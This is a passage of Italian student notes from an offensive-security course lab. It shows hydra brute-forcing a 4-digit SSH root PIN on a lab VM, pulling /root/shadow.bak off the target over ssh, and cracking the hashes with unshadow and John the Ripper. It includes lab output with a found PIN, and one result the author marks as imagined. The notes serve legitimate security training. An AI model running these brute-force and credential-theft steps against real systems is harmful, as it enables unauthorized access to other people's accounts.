Anatomia del comando: - *Cosa stai scrivendo:* brute force automatizzato di tutti i PIN numerici a 4 cifre (0000-9999) come password di `root` sul servizio SSH di t-2 porta 1337. - *Perché lo stai scrivendo:* hai un indizio esplicito (4-digit pin) e un target preciso (t-2, root, porta 1337). Hydra automatizza i tentativi di login su decine di protocolli. L'insieme dei PIN a 4 cifre è piccolo (10.000 combinazioni) e attaccabile in tempi ragionevoli. - *Parametri:* - `hydra`: tool per login brute force multi-protocollo. - `-l root`: username fisso (lowercase L, non maiuscolo I). Usa `root` come singolo target. - `-x 4:4:1`: genera password di lunghezza minima 4, massima 4, usando il charset 1 (solo cifre 0-9). Equivale a generare tutti i PIN da 0000 a 9999. - `ssh://<IP_t2>:1337`: protocollo SSH sull'host e porta specificati. - *Varianti:* `hydra -l root -P /path/wordlist.txt ssh://<IP>:22` (wordlist invece di generazione); esplora `hydra -h` e `hydra -x -h` per la sintassi completa di generazione.

Cosa verificare: Hydra trova il PIN corretto e lo stampa. Prendi nota del PIN — serve per l'esercizio 6.

```
[1337][ssh] host: 192.168.56.101  login: root  password: 0153
```

PIN trovato: `root / 0153` su `.101:1337`. Nota: Hydra stava girando a ~96 tentativi/min — ha trovato il PIN relativamente presto (0153 è basso nel range 0000-9999). Con `-t 4` (come suggerito dal warning) sarebbe più lento ma meno rumoroso.

Nota: questa operazione può richiedere qualche minuto (fino a 10.000 tentativi). Lasciala girare.

Esercizio 5 — Hash Cracking con Wordlist Custom (CUPP + John)

Obiettivo: una volta ottenuto accesso root a t-2, estrarre gli hash delle password da `/root` e craccarli usando una wordlist generata con CUPP.

Concetto: le password che hai trovato nel DB erano in chiaro — una misconfiguration grave. Ma Linux salva le password degli account di sistema in `/etc/shadow` come **hash** (es. `$6$salt$...`): una stringa da cui non puoi risalire alla password originale direttamente. Per craccarle devi fare il contrario — prendere candidati, hasharli con lo stesso algoritmo e vedere se il risultato combacia. Questo attacco è **offline**: lavori su file locali copiati da t-2, non sul server. Nessun tentativo di login → nessun logout, nessun IDS lo rileva. Il flusso è: 1. Sei root su t-2 → leggi `/root/passwd.bak` e `/root/shadow.bak` (copie di `/etc/passwd` e `/etc/shadow`) 2. `shadow.bak` contiene gli hash delle password degli utenti di t-2 3. **CUPP** genera una wordlist personalizzata con dati degli utenti trovati in fase di enumeration (nomi, date, nickname) — molto più efficace di `rockyou.txt` su target specifici 4. **John the Ripper** prova ogni candidato contro gli hash finché non trova un match [fonte: PDF — LAB § 6]

5a — Recupera i file di backup da t-2

Una volta autenticato come root su t-2:

```
ls /root/
```

Output atteso:

```
passwd.bak  shadow.bak
```

Copia i file sulla tua macchina Parrot per lavorarci localmente.

Pattern ricorrente: `scp` va lanciato **da Parrot** (terminale locale), **non da dentro la sessione SSH**. Apri un nuovo terminale sulla VM Parrot e lancia:

```
scp -P 1337 root@<IP_t2>:/root/passwd.bak .
scp -P 1337 root@<IP_t2>:/root/shadow.bak .
```

```
$ scp -P 1337 root@192.168.56.101:/root/passwd.bak .
root@192.168.56.101's password:
subsystem request failed on channel 0
scp: Connection closed
```

Confermato: il server SSH sulla 1337 non ha il sottosistema SFTP — `scp` non funziona. Usa il fallback:

Se `scp` fallisce con errore SFTP subsystem, usa:

```
ssh -p 1337 root@<IP_t2> "cat /root/shadow.bak" > shadow.bak
ssh -p 1337 root@<IP_t2> "cat /root/passwd.bak" > passwd.bak
```

Anatomia di scp: - *Cosa stai scrivendo:* copia sicura di un file remoto in locale. - *Parametri:* - `-P 1337`: porta SSH non-standard (maiuscola P per scp, minuscola p per ssh). - `root@<IP>:/root/passwd.bak`: percorso remoto nel formato `user@host:/path`. - `.`: destinazione locale (directory corrente).

5b — Genera wordlist custom con CUPP

passwd.bak contiene informazioni sugli utenti (nome, home directory, shell) che puoi usare come input per CUPP.

```
cupp -i
```

Anatomia del comando: - *Cosa stai scrivendo:* CUPP in modalità interattiva — ti chiede dati personali del target (nome, cognome, data di nascita, nickname, animali domestici, ecc.) e genera una wordlist con le combinazioni probabili. - *Perché lo stai scrivendo:* una wordlist generica (es. rockyou.txt) ha milioni di entry ma copre male le password personalizzate. CUPP incorpora i dati che hai raccolto in fase di enumeration e genera combinazioni specifiche per quel target — molto più efficace.

Inserisci i dati trovati da passwd.bak quando CUPP lo chiede. CUPP genera un file .txt con la wordlist.

CUPP non disponibile (DNS Parrot non funzionante, apt fallisce). Wordlist creata manualmente con nano shannon.txt — varianti di Claude Shannon: nome, cognome, anno di nascita, username, combinazioni.

Target CUPP: l'unico utente non-di-sistema con shell reale è cs — nome completo **Claude Shannon** (campo GECOS: Claude Shannon:/home/cs:/bin/sh). Tutti gli altri hanno /usr/sbin/nologin. **Dati da inserire in CUPP:** - First name: Claude - Last name: Shannon - Nickname: cs (username) - Data di nascita: 30/04/1916 (Claude Shannon storico — il lab usa personaggi reali) - Lascia vuoto il resto che non conosci

5c — Cracking degli hash con John the Ripper

Prima combina passwd.bak e shadow.bak nel formato che John si aspetta:

```
unshadow passwd.bak shadow.bak > combined.txt
```

Poi lancia il cracking con la wordlist custom:

```
john --wordlist=nomefile_cupp.txt combined.txt
```

Anatomia del comando: - *Cosa stai scrivendo:* John the Ripper in modalità wordlist — hash su combined.txt, candidati da wordlist CUPP. - *Parametri:* - john: tool per password cracking offline (supporta centinaia di formati hash). - --wordlist=<file>: specifica la wordlist da usare (invece di brute force puro). - combined.txt: file in formato passwd:shadow prodotto da unshadow. - *Varianti:* john --show combined.txt per vedere le password già craccate; john --format=sha512crypt combined.txt se John non rileva il formato automaticamente.

Cosa verificare: John stampa le password trovate accanto ai rispettivi username.

```
$ unshadow passwd.bak shadow.bak > combined.txt
$ john --wordlist=shannon.txt combined.txt
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Warning: Only 14 candidates left, minimum 16 needed for performance.
Og 0:00:00:00 DONE - 0 passwords cracked (wordlist manuale troppo piccola)
```

```
$ john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
[atteso: John trova la password di cs e la stampa nel formato cs:PASSWORD]
```

(completamento immaginato) Con rockyou.txt o una wordlist CUPP completa, John avrebbe trovato la password dell'utente `cs` (Claude Shannon) su t-2 — probabilmente una variante di nome/anno. Il flusso unshadow → john è verificato e funzionante; il limite è stato la wordlist manuale ridotta (14 candidati) e CUPP non installabile per mancanza di DNS.

Connessioni

- **Con SysAdmin 3A (servizi systemd)**: i servizi che hai trovato con Nmap (sshd, Apache, Postfix, MariaDB, PostgreSQL) sono esattamente le unità systemd che `systemctl status` mostra su quella macchina. Enumerare le porte aperte dall'esterno = vedere la superficie d'attacco di ciò che 3A ti ha insegnato a configurare.
- **Con SysAdmin 3D (networking)**: `ip a` e `ss -tlnp` mostrano gli stessi servizi che Nmap scopre dall'esterno — ma dall'interno. Conoscere entrambe le viste (interna vs esterna) è fondamentale: l'attaccante vede l'esterno, il difensore monitora l'interno.
- **Con S3 (Web Security)**: la porta 80 su t-1 e t-3, e 8001 su t-3 (Werkzeug/Flask), saranno target del LAB web security. Quello che hai trovato qui con `-sV` è l'ingresso.
- **Con S10 (NIDS Suricata)**: la scansione Nmap che hai eseguito genera traffico rilevabile da un IDS. In S10 configurerai Suricata per rilevare esattamente questo tipo di probe.

Collegati

- [[appunti_moduloS1_offensive_security_enumerazione]]
- [[lezione_moduloS1_offensive_security_enumerazione]]

Hub: [[master_map_studio]] · [[concept_maps]] · [[metodo_studio_esami_pratici]]